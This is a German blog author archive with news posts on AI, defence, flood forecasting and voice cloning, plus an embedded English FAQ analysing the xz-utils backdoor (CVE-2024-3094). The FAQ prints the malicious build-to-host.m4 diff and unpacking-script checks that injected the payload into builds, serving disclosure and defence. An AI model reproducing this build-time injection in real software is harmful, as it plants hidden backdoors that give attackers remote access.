Archiv des Autors: Wasserpuncher

Avatar von Unbekannt

Über Wasserpuncher

Wasserpuncher

Microsoft startet „KI-Qualifizierungsoffensive“ in Deutschland

Microsoft hat angekündigt, eine „KI-Qualifizierungsoffensive“ in Deutschland zu starten, noch bevor der Bau seiner geplanten Rechenzentren in Nordrhein-Westfalen beginnt. Das Unternehmen investiert Milliarden in den Aufbau neuer Rechenzentren und in die Erweiterung bestehender Standorte, darunter Frankfurt am Main.

Die geplante Offensive zielt darauf ab, die Anwohner der Gemeinden Bedburg, Bergheim und Elsdorf sowie deutschlandweit über Künstliche Intelligenz zu informieren und zu schulen. Ein wichtiger Bestandteil des Programms ist die Zusammenarbeit mit Schulen, Universitäten und Unternehmen.

Im Rahmen der Initiative will Microsoft bis Ende 2025 etwa 100.000 junge Menschen in Nordrhein-Westfalen erreichen. Ein „KI-Mobil“ wird zu Schulen und Ausbildungsstätten fahren, um den Dialog über KI zu fördern. Die „Datacenter Academy“ soll Partnerschaften zwischen Industrie und Bildungseinrichtungen aufbauen und Trainingspläne, Stipendien, Simulationslabore, Mentoring und Praktika anbieten.

Besonderes Augenmerk liegt auf der Förderung von Frauen und queeren Menschen in der IT durch lokale Programme wie „SkillHer“. Zusätzlich sind Veranstaltungen wie „Herausforderungen für die Verwaltungen“ und virtuelle Job-Messen geplant.

Microsoft plant langfristig, deutschlandweit die Ausbildung im Bereich KI zu unterstützen und insgesamt 1,2 Millionen Menschen mit seinen Angeboten zu erreichen.

Der Bau der Rechenzentren in Nordrhein-Westfalen soll noch in diesem Jahr beginnen und wird voraussichtlich Hunderte neue Arbeitsplätze schaffen. Microsoft betont jedoch, dass der Umfang dieser Arbeitsplätze nicht mit denen in Halbleiterwerken vergleichbar ist.

Herausforderungen in der Rüstungsindustrie: MBDA fordert kontinuierliche Aufträge

Die Rüstungsindustrie steht vor einer Vielzahl von Herausforderungen, von der Sicherung der Lieferketten bis zur Bewahrung der Mitarbeiterkompetenz. Thomas Gottschild, Geschäftsführer von MBDA, einem führenden Rüstungskonzern, fordert von der Bundesregierung eine schnellere Entscheidungsfindung über Aufträge, um die Industrie zu unterstützen.

In einem Interview mit der Augsburger Allgemeinen betonte Gottschild die Bedeutung einer kontinuierlichen Auftragslage für die Rüstungsindustrie. Ohne ausreichende Aufträge könnten Unternehmen keine Waffen produzieren, was zu Unterbrechungen in der Produktion und Problemen in den Lieferketten führe. Besonders wichtig sei es, die Produktion von Rüstungsgütern aufrechtzuerhalten, um die Lieferketten intakt zu halten und die Kompetenz der Mitarbeiter zu bewahren.

Ein Beispiel für eine positive Entwicklung sei ein Auftrag für bis zu 1000 „Patriot“-Raketen, den MBDA in Zusammenarbeit mit seinem US-Partner Raytheon erhalten habe. Diese Raketen sollen innerhalb von drei Jahren geliefert werden und tragen zur Stärkung der Auftragslage und zur Sicherung von Arbeitsplätzen bei.

Allerdings gebe es auch Herausforderungen, insbesondere wenn Aufträge ausbleiben. Derzeit würden keine „Taurus“-Flugkörper produziert, da es an Aufträgen fehle. Dies führe nicht nur zu Unterbrechungen in der Produktion, sondern auch zu Schwierigkeiten für Zulieferer, die ihre Produktion einstellen müssten.

Ein weiteres Problem seien Engpässe bei Grundstoffen für Sprengstoffe, die auf die hohe weltweite Nachfrage zurückzuführen seien. Trotz dieser Herausforderungen zeigt sich Gottschild optimistisch bezüglich des Fachkräftemangels. MBDA verzeichne eine steigende Anzahl von Bewerbungen und plane, die Mitarbeiterzahl bis Ende nächsten Jahres zu erhöhen.

Die Forderungen von MBDA verdeutlichen die Bedeutung einer stabilen Auftragslage für die Rüstungsindustrie und zeigen die Notwendigkeit schneller Entscheidungen seitens der Regierung auf. Um die Sicherheit der Lieferketten und die Wettbewerbsfähigkeit der deutschen Rüstungsindustrie zu gewährleisten, ist eine kontinuierliche Unterstützung durch Aufträge unerlässlich.

Neueste Entwicklungen zum xz-Backdoor-Vorfall

Nachdem ein Backdoor-Vorfall in den xz-Tools und -Bibliotheken entdeckt wurde, sind weitere Informationen zu diesem Vorfall und den damit verbundenen Auswirkungen aufgetaucht. Hier sind die neuesten Entwicklungen:

Angebliche Absichtliche Hinzufügung der Backdoor

Es wird behauptet, dass die Backdoor absichtlich hinzugefügt wurde, um unbefugten Zugriff zu ermöglichen. Dies wirft ernsthafte Fragen bezüglich der Sicherheitsrichtlinien des Projekts und der Integrität des Entwicklungsprozesses auf.

Rolle anonymer Accounts bei Debian

Es wird spekuliert, dass anonyme Accounts bei Debian auf die Annahme des Updates mit der Backdoor gedrängt haben könnten. Dies wirft Fragen nach der Sicherheit und Überprüfung von Updates innerhalb von Open-Source-Projekten auf.

Änderungen an den Sicherheitsrichtlinien des Projekts

Nach dem Vorfall hat der Backdoor-Autor die Sicherheitsrichtlinien des Projekts geändert. Dies könnte darauf hinweisen, dass es notwendig ist, die Sicherheitsmaßnahmen innerhalb von Open-Source-Projekten zu überdenken und zu verstärken.

Deaktivierung von OSS-Fuzz

Es wurde berichtet, dass der Backdoor-Autor OSS-Fuzz deaktiviert hat, um die Erkennung der Backdoor zu verhindern. Dies wirft Fragen nach der Transparenz und Zusammenarbeit innerhalb der Open-Source-Community auf.

Rechtliche Konsequenzen für den Backdoor-Autor

Es ist unklar, ob der Backdoor-Autor rechtliche Konsequenzen zu befürchten hat. Dies wirft Fragen nach der Verantwortlichkeit von Entwicklern und Maintainers innerhalb von Open-Source-Projekten auf.

Fazit

Der xz-Backdoor-Vorfall wirft wichtige Fragen zur Sicherheit und Integrität von Open-Source-Software auf. Es ist entscheidend, dass solche Vorfälle ernst genommen werden und angemessene Maßnahmen ergriffen werden, um die Sicherheit und Vertrauenswürdigkeit von Open-Source-Software zu gewährleisten.

FAQ on the xz-utils backdoor (CVE-2024-3094)

This is a living document. Everything in this document is made in good faith of being accurate, but like I just said; we don’t yet know everything about what’s going on.

Update: I’ve disabled comments as of 2025-01-26 to avoid everyone having notifications for something a year on if someone wants to suggest a correction. Folks are free to email to suggest corrections still, of course.

Background

On March 29th, 2024, a backdoor was discovered in xz-utils, a suite of software that gives developers lossless compression. This package is commonly used for compressing release tarballs, software packages, kernel images, and initramfs images. It is very widely distributed, statistically your average Linux or macOS system will have it installed for convenience.

This backdoor is very indirect and only shows up when a few known specific criteria are met. Others may be yet discovered! However, this backdoor is at least triggerable by remote unprivileged systems connecting to public SSH ports. This has been seen in the wild where it gets activated by connections – resulting in performance issues, but we do not know yet what is required to bypass authentication (etc) with it.

We’re reasonably sure the following things need to be true for your system to be vulnerable:

  • You need to be running a distro that uses glibc (for IFUNC)
  • You need to have versions 5.6.0 or 5.6.1 of xz or liblzma installed (xz-utils provides the library liblzma) – likely only true if running a rolling-release distro and updating religiously.

We know that the combination of systemd and patched openssh are vulnerable but pending further analysis of the payload, we cannot be certain that other configurations aren’t.

While not scaremongering, it is important to be clear that at this stage, we got lucky, and there may well be other effects of the infected liblzma.

If you’re running a publicly accessible sshd, then you are – as a rule of thumb for those not wanting to read the rest here – likely vulnerable.

If you aren’t, it is unknown for now, but you should update as quickly as possible because investigations are continuing.

TL:DR:

  • Using a .deb or .rpm based distro with glibc and xz-5.6.0 or xz-5.6.1:
    • Using systemd on publicly accessible ssh: update RIGHT NOW NOW NOW
    • Otherwise: update RIGHT NOW NOW but prioritize the former
  • Using another type of distribution:
    • With glibc and xz-5.6.0 or xz-5.6.1: update RIGHT NOW, but prioritize the above.

If all of these are the case, please update your systems to mitigate this threat. For more information about affected systems and how to update, please see this article or check the xz-utils page on Repology.

This is not a fault of sshd, systemd, or glibc, that is just how it was made exploitable.

Design

This backdoor has several components. At a high level:

  • The release tarballs upstream publishes don’t have the same code that GitHub has. This is common in C projects so that downstream consumers don’t need to remember how to run autotools and autoconf. The version of build-to-host.m4 in the release tarballs differs wildly from the upstream on Savannah.
  • There are crafted test files in the tests/ folder within the git repository too. These files are in the following commits:
  • Note that the bad commits have since been reverted in e93e13c8b3bec925c56e0c0b675d8000a0f7f754
  • A script called by build-to-host.m4 that unpacks this malicious test data and uses it to modify the build process.
  • IFUNC, a mechanism in glibc that allows for indirect function calls, is used to perform runtime hooking/redirection of OpenSSH’s authentication routines. IFUNC is a tool that is normally used for legitimate things, but in this case it is exploited for this attack path.

Normally upstream publishes release tarballs that are different than the automatically generated ones in GitHub. In these modified tarballs, a malicious version of build-to-host.m4 is included to execute a script during the build process.

This script (at least in versions 5.6.0 and 5.6.1) checks for various conditions like the architecture of the machine. Here is a snippet of the malicious script that gets unpacked by build-to-host.m4 and an explanation of what it does:

if ! (echo "$build" | grep -Eq "^x86_64" > /dev/null 2>&1) && (echo "$build" | grep -Eq "linux-gnu$" > /dev/null 2>&1);then

  • If amd64/x86_64 is the target of the build
  • And if the target uses the name linux-gnu (mostly checks for the use of glibc)

It also checks for the toolchain being used:

  if test "x$GCC" != 'xyes' > /dev/null 2>&1;then
  exit 0
  fi
  if test "x$CC" != 'xgcc' > /dev/null 2>&1;then
  exit 0
  fi
  LDv=$LD" -v"
  if ! $LDv 2>&1 | grep -qs 'GNU ld' > /dev/null 2>&1;then
  exit 0

And if you are trying to build a Debian or Red Hat package:

if test -f "$srcdir/debian/rules" || test "x$RPM_ARCH" = "xx86_64";then

This attack thusly seems to be targeted at amd64 systems running glibc using either Debian or Red Hat derived distributions. Other systems may be vulnerable at this time, but we don’t know.

Lasse Collin, the original long-standing xz maintainer, is currently working on auditing the xz.git.

Design specifics

$ git diff m4/build-to-host.m4 ~/data/xz/xz-5.6.1/m4/build-to-host.m4
diff --git a/m4/build-to-host.m4 b/home/sam/data/xz/xz-5.6.1/m4/build-to-host.m4
index f928e9ab..d5ec3153 100644
--- a/m4/build-to-host.m4
+++ b/home/sam/data/xz/xz-5.6.1/m4/build-to-host.m4
@@ -1,4 +1,4 @@
-# build-to-host.m4 serial 3
+# build-to-host.m4 serial 30
 dnl Copyright (C) 2023-2024 Free Software Foundation, Inc.
 dnl This file is free software; the Free Software Foundation
 dnl gives unlimited permission to copy and/or distribute it,
@@ -37,6 +37,7 @@ AC_DEFUN([gl_BUILD_TO_HOST],
 
   dnl Define somedir_c.
   gl_final_[$1]="$[$1]"
+  gl_[$1]_prefix=`echo $gl_am_configmake | sed "s/.*\.//g"`
   dnl Translate it from build syntax to host syntax.
   case "$build_os" in
     cygwin*)
@@ -58,14 +59,40 @@ AC_DEFUN([gl_BUILD_TO_HOST],
   if test "$[$1]_c_make" = '\"'"${gl_final_[$1]}"'\"'; then
     [$1]_c_make='\"$([$1])\"'
   fi
+  if test "x$gl_am_configmake" != "x"; then
+    gl_[$1]_config='sed \"r\n\" $gl_am_configmake | eval $gl_path_map | $gl_[$1]_prefix -d 2>/dev/null'
+  else
+    gl_[$1]_config=''
+  fi
+  _LT_TAGDECL([], [gl_path_map], [2])dnl
+  _LT_TAGDECL([], [gl_[$1]_prefix], [2])dnl
+  _LT_TAGDECL([], [gl_am_configmake], [2])dnl
+  _LT_TAGDECL([], [[$1]_c_make], [2])dnl
+  _LT_TAGDECL([], [gl_[$1]_config], [2])dnl
   AC_SUBST([$1_c_make])
+
+  dnl If the host conversion code has been placed in $gl_config_gt,
+  dnl instead of duplicating it all over again into config.status,
+  dnl then we will have config.status run $gl_config_gt later, so it
+  dnl needs to know what name is stored there:
+  AC_CONFIG_COMMANDS([build-to-host], [eval $gl_config_gt | $SHELL 2>/dev/null], [gl_config_gt="eval \$gl_[$1]_config"])
 ])
 
 dnl Some initializations for gl_BUILD_TO_HOST.
 AC_DEFUN([gl_BUILD_TO_HOST_INIT],
 [
+  dnl Search for Automake-defined pkg* macros, in the order
+  dnl listed in the Automake 1.10a+ documentation.
+  gl_am_configmake=`grep -aErls "#{4}[[:alnum:]]{5}#{4}$" $srcdir/ 2>/dev/null`
+  if test -n "$gl_am_configmake"; then
+    HAVE_PKG_CONFIGMAKE=1
+  else
+    HAVE_PKG_CONFIGMAKE=0
+  fi
+
   gl_sed_double_backslashes='s/\\/\\\\/g'
   gl_sed_escape_doublequotes='s/"/\\"/g'
+  gl_path_map='tr "\t \-_" " \t_\-"'
 changequote(,)dnl
   gl_sed_escape_for_make_1="s,\\([ \"&'();<>\\\\\`|]\\),\\\\\\1,g"
 changequote([,])dnl

Payload

If those conditions check, the payload is injected into the source tree. We have not analyzed this payload in detail. Here are the main things we know:

  • The payload activates if the running program has the process name /usr/sbin/sshd. Systems that put sshd in /usr/bin or another folder may or may not be vulnerable.

  • It may activate in other scenarios too, possibly even unrelated to ssh.

  • We don’t entirely know the payload is intended to do. We are investigating.

  • Successful exploitation does not generate any log entries.

  • Vanilla upstream OpenSSH isn’t affected unless one of its dependencies links liblzma.

    • Lennart Poettering had mentioned that it may happen via pam->libselinux->liblzma, and possibly in other cases too, but…
    • libselinux does not link to liblzma. It turns out the confusion was because of an old downstream-only patch in Fedora and a stale dependency in the RPM spec which persisted long-beyond its removal.
    • PAM modules are loaded too late in the process AFAIK for this to work (another possible example was pam_fprintd). Solar Designer raised this issue as well on oss-security.
  • The payload is loaded into sshd indirectly. sshd is often patched to support systemd-notify so that other services can start when sshd is running. liblzma is loaded because it’s depended on by other parts of libsystemd. This is not the fault of systemd, this is more unfortunate. The patch that most distributions use is available here: openssh/openssh-portable#375.

    • Update: The OpenSSH developers have added non-library integration of the systemd-notify protocol so distributions won’t be patching it in via libsystemd support anymore. This change has been committed and will land in OpenSSH-9.8, due around June/July 2024.
  • If this payload is loaded in openssh sshd, the RSA_public_decrypt function will be redirected into a malicious implementation. We have observed that this malicious implementation can be used to bypass authentication. Further research is being done to explain why.

    • Filippo Valsorda has shared analysis indicating that the attacker must supply a key which is verified by the payload and then attacker input is passed to system(), giving remote code execution (RCE).

Tangential xz bits

  • Jia Tan’s 328c52da8a2bbb81307644efdb58db2c422d9ba7 commit contained a . in the CMake check for landlock sandboxing support. This caused the check to always fail so landlock support was detected as absent.

    • Hardening of CMake’s check_c_source_compiles has been proposed (see Other projects).
  • IFUNC was introduced for crc64 in ee44863ae88e377a5df10db007ba9bfadde3d314 by Hans Jansen.

    • Hans Jansen later went on to ask Debian to update xz-utils in https://bugs.debian.org/1067708, but this is quite a common thing for eager users to do, so it’s not necessarily nefarious.

People

We do not want to speculate on the people behind this project in this document. This is not a productive use of our time, and law enforcement will be able to handle identifying those responsible. They are likely patching their systems too.

xz-utils had two maintainers:

  • Lasse Collin (Larhzu) who has maintained xz since the beginning (~2009), and before that, lzma-utils.
  • Jia Tan (JiaT75) who started contributing to xz in the last 2-2.5 years and gained commit access, and then release manager rights, about 1.5 years ago. He was removed on 2024-03-31 as Lasse begins his long work ahead.

Lasse regularly has internet breaks and was on one of these as this all kicked off. He has posted an update at https://tukaani.org/xz-backdoor/ and is working with the community.

Please be patient with him as he gets up to speed and takes time to analyse the situation carefully.

Misc notes

Analysis of the payload

This is the part which is very much in flux. It’s early days yet.

These two especially do a great job of analysing the initial/bash stages:

Other great resources:

Other projects

There are concerns some other projects are affected (either by themselves or changes to other projects were made to facilitate the xz backdoor). I want to avoid a witch-hunt but listing some examples here which are already been linked widely to give some commentary.

Tangential efforts as a result of this incident

This is for suggesting specific changes which are being considered as a result of this.

Discussions in the wake of this

This is for linking to interesting general discussions, rather than specific changes being suggested (see above).

Non-mailing list proposals:

Acknowledgements

  • Andres Freund who discovered the issue and reported it to linux-distros and then oss-security.
  • All the hard-working security teams helping to coordinate a response and push out fixes.
  • Xe Iaso who resummarized this page for readability.
  • Everybody who has provided me tips privately, in #tukaani, or in comments on this gist.

Meta

Please try to keep comments on the gist constrained to editorial changes I need to make, new sources, etc.

There are various places to theorise & such, please see e.g. https://discord.gg/TPz7gBEE (for both, reverse engineering and OSint). (I’m not associated with that Discord but the link is going around, so…)

Response to questions

  • A few people have asked why Jia Tan followed me (@thesamesam) on GitHub. #tukaani was a small community on IRC before this kicked off (~10 people, currently has ~350). I’ve been in #tukaani for a few years now. When the move from self-hosted infra to github was being planned and implemented, I was around and starred & followed the new Tukaani org pretty quickly.

  • I’m referenced in one of the commits in the original oss-security post that works around noise from the IFUNC resolver. This was a legitimate issue which applies to IFUNC resolvers in general. The GCC bug it led to (PR114115) has been fixed.

    • On reflection, there may have been a missed opportunity as maybe I should have looked into why I couldn’t hit the reported Valgrind problems from Fedora on Gentoo, but this isn’t the place for my own reflections nor is it IMO the time yet.

TODO for this doc

  • Add a table of releases + signer?
  • Include the injection script after the macro
  • Mention detection?
  • Explain the bug-autoconf thing maybe wrt serial
  • Explain dist tarballs, why we use them, what they do, link to autotools docs, etc
    • „Explaining the history of it would be very helpful I think. It also explains how a single person was able to insert code in an open source project that no one was able to peer review. It is pragmatically impossible, even if technically possible once you know the problem is there, to peer review a tarball prepared in this manner.“

TODO overall

Anyone can and should work on these. I’m just listing them so people have a rough idea of what’s left.

  • Ensuring Lasse Collin and xz-utils is supported, even long after the fervour is over
  • Reverse engineering the payload (it’s still fairly early days here on this)
    • Once finished, tell people whether:
      • the backdoor did anything else than waiting for connections for RCE, like:
        • call home (send found private keys, etc)
        • load/execute additional rogue code
        • did some other steps to infest the system (like adding users, authorized_keys, etc.) or whether it can be certainly said, that it didn’t do so
      • other attack vectors than via sshd were possible
      • whether people (who had the compromised versions) can feel fully safe if they either had sshd not running OR at least not publicly accessible (e.g. because it was behind a firewall, nat, iptables, etc.)
  • Auditing all possibly-tainted xz-utils commits
  • Investigate other paths for sshd to get liblzma in its process (not just via libsystemd, or at least not directly)
    • This is already partly done and it looks like none exist, but it would be nice to be sure.
  • Checking other projects for similar injection mechanisms (e.g. similar build system lines)
  • Diff and review all „golden“ upstream tarballs used by distros against the output of creating a tarball from the git tag for all packages.
  • Check other projecs which (recently) introduced IFUNC, as suggested by thegrugq.
    • This isn’t a bad idea even outside of potential backdoors, given how brittle IFUNC is.
  • ???

References and other reading material

view raw xz-backdoor.md hosted with ❤ by GitHub

https://openwall.com/lists/oss-security/2024/03/29/4

Vorhersage von Naturkatastrophen: KI für schnellere Hochwasser-Warnungen

Eine schnelle Warnung vor Hochwasserereignissen ist entscheidend, um potenzielle Schäden zu minimieren. Die Forschungsabteilung von Google hat ein KI-Modell entwickelt, das Hochwasser an Flüssen ohne die Notwendigkeit von Daten von Messstationen vorhersagen soll.

KI-basierte Vorhersagen ohne Messstationen

Das von Google entwickelte Warnsystem basiert auf Künstlicher Intelligenz (KI) und nutzt öffentlich zugängliche Wetterdaten, um Hochwasser an Flüssen vorherzusagen. Diese innovative Technologie wurde kürzlich im wissenschaftlichen Journal Nature vorgestellt. Im Vergleich zu herkömmlichen Warnsystemen, die auf Daten von Pegeln angewiesen sind, die erst messen, wenn Wasser durch sie fließt, ermöglicht das KI-Modell eine frühzeitige Warnung vor Hochwasserereignissen.

Potenzial für Entwicklungsländer und große Einzugsgebiete

Experten wie Christian Kuhlicke vom Helmholtz-Zentrum für Umweltforschung erkennen das Potenzial dieses neuen Vorhersagemodells, insbesondere für Entwicklungsländer, die häufig über unzureichende Warnsysteme verfügen. Das KI-Modell ermöglicht rechtzeitige Vorhersagen bereits fünf Tage vor dem Eintritt eines Hochwasserereignisses, was herkömmlichen Systemen überlegen ist.

Vorteile gegenüber traditionellen Warnsystemen

Im Vergleich zu traditionellen Warnsystemen bietet das KI-Modell mehrere Vorteile, darunter eine schnellere Warnung und die Möglichkeit, eine größere Anzahl von Menschen zu erreichen, insbesondere über Push-Nachrichten auf Smartphones. Diese Innovation könnte insbesondere in Entwicklungsländern, die oft über begrenzte finanzielle Mittel verfügen, lebensrettend sein.

Herausforderungen und zukünftige Entwicklung

Trotz der vielversprechenden Möglichkeiten, die das KI-basierte Warnsystem bietet, stehen noch einige Herausforderungen bevor. Es bleibt abzuwarten, ob sich das Modell in der Praxis bewährt und wie es sich in das bestehende Warnsystem integrieren lässt. Experten erwarten eine potenzielle Konkurrenz zwischen privat generierten Warnungen und staatlichen Warnungen. Die weitere Entwicklung und Nutzung dieses neuen Systems werden aufmerksam beobachtet.

Künstliche Intelligenz: OpenAI stellt Programm zum Klonen von Stimmen vor

OpenAI, das Entwicklerteam hinter ChatGPT, hat eine neue Technologie namens „Voice Engine“ vorgestellt, die es ermöglicht, echte Stimmen zu klonen. Mit lediglich 15 Sekunden Sprachaufnahme behauptet das KI-Programm, eine menschliche Stimme nachahmen zu können. OpenAI hat kürzlich die Technologie als Marke registriert und präsentiert sie nun der Öffentlichkeit.

Sicherheitsbedenken und Zurückhaltung bei der Veröffentlichung

Trotz der vielversprechenden Funktionalität plant OpenAI vorerst nicht, „Voice Engine“ auf den Markt zu bringen, hauptsächlich aufgrund von Sicherheitsbedenken. Das Unternehmen beabsichtigt, das Produkt mit ausgewählten Testpersonen zu evaluieren, plant jedoch keine breite Veröffentlichung aufgrund der potenziellen Missbrauchsgefahr. Besonders in einem Wahljahr, in dem unter anderem Europawahlen und die US-Präsidentschaftswahl stattfinden, sind die Risiken besonders relevant. OpenAI betont, dass sie mit Partnern aus verschiedenen Bereichen zusammenarbeiten, um deren Feedback zu berücksichtigen.

Bedenken bezüglich des Missbrauchs von KI-Technologien

Die Verbreitung von Anwendungen, die Künstliche Intelligenz nutzen, hat zu wachsender Besorgnis über den potenziellen Missbrauch geführt. Die Möglichkeit, Stimmen zu klonen, birgt insbesondere in Bezug auf politische Ereignisse wie Wahlen erhebliche Risiken. Die Behörden im US-Staat New Hampshire untersuchen beispielsweise den Einsatz von synthetischen Stimmen, die die Wähler von der Stimmabgabe bei Vorwahlen im Januar abhalten sollten.

Vorsichtiger Ansatz für eine breitere Einführung

OpenAI betont, dass sie sich der potenziellen Missbrauchsrisiken bewusst sind und daher einen vorsichtigen Ansatz für eine breitere Einführung verfolgen. Partner, die „Voice Engine“ testen, müssen bestimmte Regeln einhalten, darunter die ausdrückliche Zustimmung derjenigen, deren Stimmen dupliziert werden, und die klare Kennzeichnung der synthetischen Stimmen für die Hörer.

Die Technologie des Klonens von Stimmen birgt sowohl faszinierende als auch beunruhigende Möglichkeiten. Während OpenAI weiterhin an der Entwicklung arbeitet, werden die potenziellen Auswirkungen auf die Gesellschaft und die Notwendigkeit eines verantwortungsvollen Umgangs mit solchen Technologien intensiv diskutiert.

https://openai.com/blog/navigating-the-challenges-and-opportunities-of-synthetic-voices

Update: xz-Backdoor – Neue Details und rechtliche Fragen

Zusammenfassung:

  • Die Backdoor in xz wurde absichtlich hinzugefügt und führte zu Performanceproblemen.
  • Anonyme Accounts drängten bei Debian auf die Annahme des Updates mit der Backdoor.
  • Der Backdoor-Autor hat die Sicherheitsrichtlinien des Projekts geändert und OSS-Fuzz deaktiviert.
  • Es stellt sich die Frage nach rechtlichen Konsequenzen für den Backdoor-Autor.

Details:

  • Die Backdoor wurde beim Bauen der Tarball hinzugefügt.
  • Der Backdoor-Autor hat eine Notiz auf der Projektseite hinterlassen, die darauf hinweist, dass die automatisch generierten Archive ignoriert werden sollten.
  • Die Sicherheitsrichtlinien des Projekts wurden vereinfacht und die bevorzugte Kontaktmethode für Sicherheitshinweise ist nun E-Mail.
  • Der Backdoor-Autor hat OSS-Fuzz deaktiviert, um die Erkennung der Backdoor zu verhindern.

Diskussion:

  • Es ist unklar, ob der Backdoor-Autor rechtliche Konsequenzen zu befürchten hat.
  • Es ist wichtig, dass solche Vorfälle Konsequenzen haben, um andere Maintainer davon abzuhalten, ähnliche Taten zu begehen.
  • Weitere Details zu dem Vorfall werden in den Kommentaren auf Hacker News gesammelt.

Verweis:

Empfehlungen:

  • Aktualisieren Sie Ihre Systeme auf die neueste Version von xz.
  • Überwachen Sie Ihre SSH-Server auf verdächtiges Verhalten.
  • Informieren Sie sich über die neuesten Entwicklungen in diesem Fall.

Donald Trump, Grifter Extraordinaire, verkauft jetzt Bibeln

Es scheint fast zu perfekt zu sein.

Donald Trumps neueste Tat scheint direkt aus dem amerikanischen literarischen Kanon gerissen zu sein. Neben seinem erneuten Anlauf auf das höchste Amt und dem Kampf gegen rund 90 Strafanzeigen vor Gericht verkauft der ehemalige Präsident nun eine Ausgabe der King-James-Bibel für 60 Dollar, die auch Kopien der US-Verfassung, der Bill of Rights, der Unabhängigkeitserklärung, des Treuegelöbnisses und des „handgeschriebenen Refrains“ des Country-Songs „God Bless the USA“ von Lee Greenwood enthält. (Natürlich ist sie als die „God Bless the USA Bible“ bekannt.)

Diese Bibel ist seit Jahren Gegenstand kontroverser Diskussionen, weil sie unter anderem die Idee der Vereinigten Staaten als sowohl christliche Nation als auch als von Gott besonders begünstigte Nation fördert, wie Experten, die von Slate-Reporterin Molly Olmstead interviewt wurden, es ausgedrückt haben.

Aber Trump hofft offensichtlich, den Nischenmarkt der Kunden (die Bibeln als politische Identitätsbekundungen kaufen) zu erweitern und dabei Tantiemen sowie Gebühren für die Verwendung seines Bildes zu erhalten.

Damit hat er eine Rolle übernommen, die in amerikanischen Filmen und Büchern lange mit Betrug in Verbindung gebracht wird. Ein rhetorischer Verwandter des reisenden Schlangenölverkäufers oder des schurkischen Priesters ist der fiktive Bibelverkäufer, der durch Bücher und Filme zur metaphorischen Manifestation der biblischen Warnungen gegen diejenigen geworden ist, die das Wort Gottes für Profit verkaufen (2. Korinther 2,17, NGÜ). Der real existierende betrügerische Bibelverkäufer William P. Evans (der 1931 ins Gefängnis kam, nachdem ein Bibelverlag Dutzende von Beschwerden über seine Aktivitäten erhalten hatte) mag eine Inspirationsquelle gewesen sein, aber diese Wölfe im Schafspelz tauchen in Werken von Flannery O’Connors Kurzgeschichte „Good Country People“ bis hin zu Filmen wie „Paper Moon“ (1973) und „O Brother, Where Art Thou?“ (2000) auf.

Mit anderen Worten, Bibeln zu verkaufen – nachdem man wegen Betrugs verurteilt wurde – ist selbst für Trump wirklich auf den Punkt gebracht.

In O’Connors „Good Country People“ glaubt die gut ausgebildete Hulga nicht an Gott, fällt aber dennoch auf die Darbietung von Unschuld des Bibelverkäufers Manley Pointer herein. Als er unangekündigt auf der ländlichen Farm in Georgia auftaucht, wo sie und ihre Mutter leben, bezeichnet er sich selbstironisch als „nur ein Landjunge“ und sagt alle richtigen Dinge, um zum Abendessen eingeladen zu werden. Hulga plant zunächst, sich am nächsten Tag mit ihm zu treffen, um einen „großen Scherz“ zu machen, dann stellt sie sich eingebildet vor, ihm ein „tieferes Verständnis des Lebens“ zu vermitteln. Erst als Pointer sie dazu überredet, ihr künstliches Bein abzunehmen und sie somit von ihm abhängig macht, fangen ihre inneren Alarmglocken an zu läuten. Sie klingeln weiter, als er den Whisky, pornografische Karten und Kondome enthüllt, die er in einer hohlen Bibel in seinem Verkaufskoffer versteckt hat. Pointer stiehlt Hulgas Bein und prahlt damit, dass er „auf diese Weise viele interessante Dinge bekommen hat“. Sein Bibelverkaufsbetrug ist mehr in der Macht verwurzelt, die er durch seine Lügen über Menschen gewinnen kann, als im Profit.

Im Gegensatz dazu erscheint der psychotische, einäugige, redselige Bibelverkäufer Big Dan Teague (John Goodman) in der blau-grasigen Gefängnisausbruchskomödie der Coen-Brüder, der 2000 gedrehten Filmadaption von „Die Odyssee“, „O Brother, Where Art Thou?“, nie unschuldig. Groß und verschwitzt macht er kein Geheimnis daraus, dass „es nur um das Geld geht, Jungs“. Schließlich verkündet er, „die Leute suchen nach Antworten, und Big Dan verkauft das einzige Buch, das sie hat.“ Teague mag ein geschickter Redner sein, wenn es darum geht, „die Wahrheit“ zu verkaufen, aber er verprügelt Ulysses (George Clooney) und Delmar (Tim Blake Nelson) mit einem Baumzweig, bevor er mit ihrem Auto und ihrem Geld davonrennt.

Big Dan ist auch Mitglied des Ku Klux Klan und aktiver Teilnehmer an einem versuchten Lynchmord im Film. Durch diese Seite seines Charakters fügt die Geschichte dem Bibelverkäufer-Trope hinzu, indem sie Gewalt und Diebstahl, die durch Religion getarnt sind, mit der Geschichte des Südens von rassistischer Gewalt im Namen von „Kultur und Erbe“ verknüpft. Big Dans Karriere als Bibelverkäufer ist eine metaphorische Kapuze, die es ihm ermöglicht, mit Diebstahl davonzukommen, während seine Klan-Kapuze ihm – und dem Rest der Hassgruppe – ermöglicht, nachts mit Mord davonzukommen, während sie tagsüber den Anstrich aufrechterhalten, anständige Bürger zu sein.

In „Paper Moon“, unter der Regie von Peter Bogdanovich und im frühen 1930er-Jahre im Bundesstaat Kansas angesiedelt, durchkämmt Moses Pray (Ryan O’Neal) Todesanzeigen in Zeitungen nach kürzlich verwitweten Frauen, dann verkauft er ihnen personalisierte Bibeln unter dem Vorwand, dass ihre Ehemänner die Deluxe-Ausgaben bestellt hätten, bevor sie starben. Als Pray damit beauftragt wird, ein verwaistes Kind zum Haus seiner Verwandten in Missouri zu begleiten, beteiligt sich das Kind am Betrug – indem es seine Preise aufbläht, um noch mehr Geld zu bekommen. Die beiden werden ein Duo gegen die Welt, fliehen vor dem Gesetz und beginnen neue Betrügereien, nachdem die Bibeln vergriffen sind. Diese sympathischen, vom Pech verfolgten Charaktere injizieren dem Film genug Charme, um die Schlechtigkeit des Tropus auszugleichen, obwohl ihre Opfer trauernde ältere Frauen sind, eine einzigartig verwundbare Gruppe.

In Liedern, Comedy-Skizzen, einem Roman von 2008 und vielen anderen Erzählungen neu interpretiert, bleibt der Tür-zu-Tür-Bibelverkäufer ein Thema von kontinuierlichem Interesse für Kreative, zum Teil, weil die Mischung aus kapitalistischem Ehrgeiz und Evangelismus den Autoren ermöglicht, die düsteren Seiten beider Kräfte zu kommentieren.

Auch wenn der Direktvertrieb von Tür zu Tür dem Influencer-Marketing gewichen ist, wird die amerikanische Kultur nach wie vor von der Tatsache geprägt, dass, um die Eröffnungszeile des 1969 gedrehten Dokumentarfilms „Salesman“ zu zitieren, „der Bestseller der Welt die Bibel ist.“ Es überrascht daher nicht, dass das Hochstapeln von Bibeln als Maske für Gier und Schamlosigkeit eines der ältesten Tricks im Buch ist.

